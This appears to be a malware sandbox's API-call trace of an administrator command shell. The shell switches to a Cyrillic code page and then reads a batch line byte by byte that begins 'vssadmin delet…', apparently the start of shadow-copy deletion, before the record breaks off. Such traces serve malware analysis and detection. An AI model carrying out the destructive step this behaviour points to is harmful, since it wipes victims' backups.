[0032.463] GetProcessHeap () returned 0x290000 [0032.463] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a5b70) returned 0x7e [0032.498] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0032.498] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x18efc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18efc0) returned 0xffffffffffffffff [0032.498] GetLastError () returned 0x2 [0032.499] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x18efc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18efc0) returned 0xffffffffffffffff [0032.499] GetLastError () returned 0x2 [0032.499] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0032.499] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x18efc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18efc0) returned 0x2a5c00 [0032.499] GetProcessHeap () returned 0x290000 [0032.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x28) returned 0x2a4640 [0032.499] FindClose (in: hFindFile=0x2a5c00 | out: hFindFile=0x2a5c00) returned 1 [0032.499] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x18efc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18efc0) returned 0x2a5c00 [0032.499] GetProcessHeap () returned 0x290000 [0032.499] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a4640, Size=0x8) returned 0x2a98f0 [0032.499] FindClose (in: hFindFile=0x2a5c00 | out: hFindFile=0x2a5c00) returned 1 [0032.499] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0032.499] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0032.499] GetConsoleTitleW (in: lpConsoleTitle=0x18f510, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0032.499] GetProcessHeap () returned 0x290000 [0032.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x21c) returned 0x2a9c40 [0032.499] GetConsoleTitleW (in: lpConsoleTitle=0x2a9c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0032.500] GetProcessHeap () returned 0x290000 [0032.500] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x2a9c40, Size=0xa8) returned 0x2a9c40 [0032.500] GetProcessHeap () returned 0x290000 [0032.500] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2a9c40) returned 0xa8 [0032.500] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0032.500] GetProcessHeap () returned 0x290000 [0032.500] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a9c40 | out: hHeap=0x290000) returned 1 [0032.500] InitializeProcThreadAttributeList (in: lpAttributeList=0x18f2c8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18f288 | out: lpAttributeList=0x18f2c8, lpSize=0x18f288) returned 1 [0032.500] UpdateProcThreadAttribute (in: lpAttributeList=0x18f2c8, dwFlags=0x0, Attribute=0x60001, lpValue=0x18f278, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18f2c8, lpPreviousValue=0x0) returned 1 [0032.500] GetStartupInfoW (in: lpStartupInfo=0x18f3e0 | out: lpStartupInfo=0x18f3e0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0032.500] GetProcessHeap () returned 0x290000 [0032.500] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x20) returned 0x2a4640 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0032.501] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0032.502] GetProcessHeap () returned 0x290000 [0032.502] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a4640 | out: hHeap=0x290000) returned 1 [0032.502] GetProcessHeap () returned 0x290000 [0032.502] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x12) returned 0x2a8900 [0032.502] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x18f300*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18f2b0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x18f2b0*(hProcess=0x54, hThread=0x50, dwProcessId=0x98c, dwThreadId=0x990)) returned 1 [0032.508] CloseHandle (hObject=0x50) returned 1 [0032.508] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0032.508] GetProcessHeap () returned 0x290000 [0032.508] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ac230 | out: hHeap=0x290000) returned 1 [0032.508] GetEnvironmentStringsW () returned 0x2aaa10* [0032.508] GetProcessHeap () returned 0x290000 [0032.508] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xae8) returned 0x2ab500 [0032.508] FreeEnvironmentStringsW (penv=0x2aaa10) returned 1 [0032.509] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000 [0032.509] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0 [0032.509] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x18ebb8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x18ebb8, ReturnLength=0x0) returned 0x0 [0032.509] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdc000, lpBuffer=0x18ebf0, nSize=0x380, lpNumberOfBytesRead=0x18ebb0 | out: lpBuffer=0x18ebf0*, lpNumberOfBytesRead=0x18ebb0*=0x380) returned 1 [0032.510] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0032.895] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x18f1f8 | out: lpExitCode=0x18f1f8*=0x0) returned 1 [0032.895] CloseHandle (hObject=0x54) returned 1 [0032.895] _vsnwprintf (in: _Buffer=0x18f468, _BufferCount=0x13, _Format="%08X", _ArgList=0x18f208 | out: _Buffer="00000000") returned 8 [0032.895] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0032.895] GetProcessHeap () returned 0x290000 [0032.895] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ab500 | out: hHeap=0x290000) returned 1 [0032.895] GetEnvironmentStringsW () returned 0x2aaa10* [0032.895] GetProcessHeap () returned 0x290000 [0032.895] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0e) returned 0x2aeb10 [0032.895] FreeEnvironmentStringsW (penv=0x2aaa10) returned 1 [0032.896] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0032.896] GetProcessHeap () returned 0x290000 [0032.896] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2aeb10 | out: hHeap=0x290000) returned 1 [0032.896] GetEnvironmentStringsW () returned 0x2aaa10* [0032.896] GetProcessHeap () returned 0x290000 [0032.896] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0xb0e) returned 0x2aeb10 [0032.896] FreeEnvironmentStringsW (penv=0x2aaa10) returned 1 [0032.896] GetProcessHeap () returned 0x290000 [0032.896] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a8900 | out: hHeap=0x290000) returned 1 [0032.896] DeleteProcThreadAttributeList (in: lpAttributeList=0x18f2c8 | out: lpAttributeList=0x18f2c8) [0032.897] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0032.898] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.898] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0032.898] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.898] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4ac0e194 | out: lpMode=0x4ac0e194) returned 0 [0032.898] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.898] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4ac0e198 | out: lpMode=0x4ac0e198) returned 0 [0032.898] GetConsoleOutputCP () returned 0x4e3 [0032.898] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4ac1bfe0 | out: lpCPInfo=0x4ac1bfe0) returned 1 [0032.899] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0032.899] GetProcessHeap () returned 0x290000 [0032.899] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a5b70 | out: hHeap=0x290000) returned 1 [0032.899] GetProcessHeap () returned 0x290000 [0032.899] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a9b00 | out: hHeap=0x290000) returned 1 [0032.899] GetProcessHeap () returned 0x290000 [0032.899] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x291cd0 | out: hHeap=0x290000) returned 1 [0032.899] GetProcessHeap () returned 0x290000 [0032.899] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a9a80 | out: hHeap=0x290000) returned 1 [0032.899] GetProcessHeap () returned 0x290000 [0032.899] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a98a0 | out: hHeap=0x290000) returned 1 [0032.899] GetProcessHeap () returned 0x290000 [0032.899] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x291ab0 | out: hHeap=0x290000) returned 1 [0032.899] GetProcessHeap () returned 0x290000 [0032.899] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a6510 | out: hHeap=0x290000) returned 1 [0032.899] GetProcessHeap () returned 0x290000 [0032.899] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a4610 | out: hHeap=0x290000) returned 1 [0032.899] GetProcessHeap () returned 0x290000 [0032.899] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2a97e0 | out: hHeap=0x290000) returned 1 [0032.900] _vsnwprintf (in: _Buffer=0x4ac26340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f728 | out: _Buffer="\r\n") returned 2 [0032.900] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.900] GetFileType (hFile=0xf4) returned 0x3 [0032.900] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.900] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4ac1c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0032.900] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac1c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f6f8, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesWritten=0x18f6f8*=0x2, lpOverlapped=0x0) returned 1 [0032.900] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ac0f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0032.900] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac1c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0032.900] _vsnwprintf (in: _Buffer=0x4ac0eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18f738 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0032.900] _vsnwprintf (in: _Buffer=0x4ac0ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18f738 | out: _Buffer=">") returned 1 [0032.900] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.900] GetFileType (hFile=0xf4) returned 0x3 [0032.900] _get_osfhandle (_FileHandle=1) returned 0xf4 [0032.900] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4ac1c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0032.900] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac1c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x18f728, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesWritten=0x18f728*=0x26, lpOverlapped=0x0) returned 1 [0032.900] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.900] GetFileType (hFile=0xe8) returned 0x3 [0032.900] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.900] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.900] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.900] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0032.900] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.901] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.901] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.901] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0032.901] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.901] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.901] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.901] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0032.901] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.901] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.901] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.901] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0032.901] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.901] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.901] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.901] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0032.901] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.901] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.901] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.901] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0032.901] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.901] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.901] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.901] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0032.901] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.901] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.901] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.902] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0032.902] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.902] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.902] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.902] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0032.902] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.902] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.902] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.902] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0032.902] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.902] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.902] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.902] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0032.902] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.902] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.902] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.902] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0032.902] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.902] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.902] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.902] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0032.902] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.902] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.902] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, lpNumberOfBytesRead=0x18fa28*=0x1, lpOverlapped=0x0) returned 1 [0032.902] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ac1c320, cbMultiByte=1, lpWideCharStr=0x4ac1e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0032.902] _get_osfhandle (_FileHandle=0) returned 0xe8 [0032.902] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0032.902] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac1c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4ac1c320*, 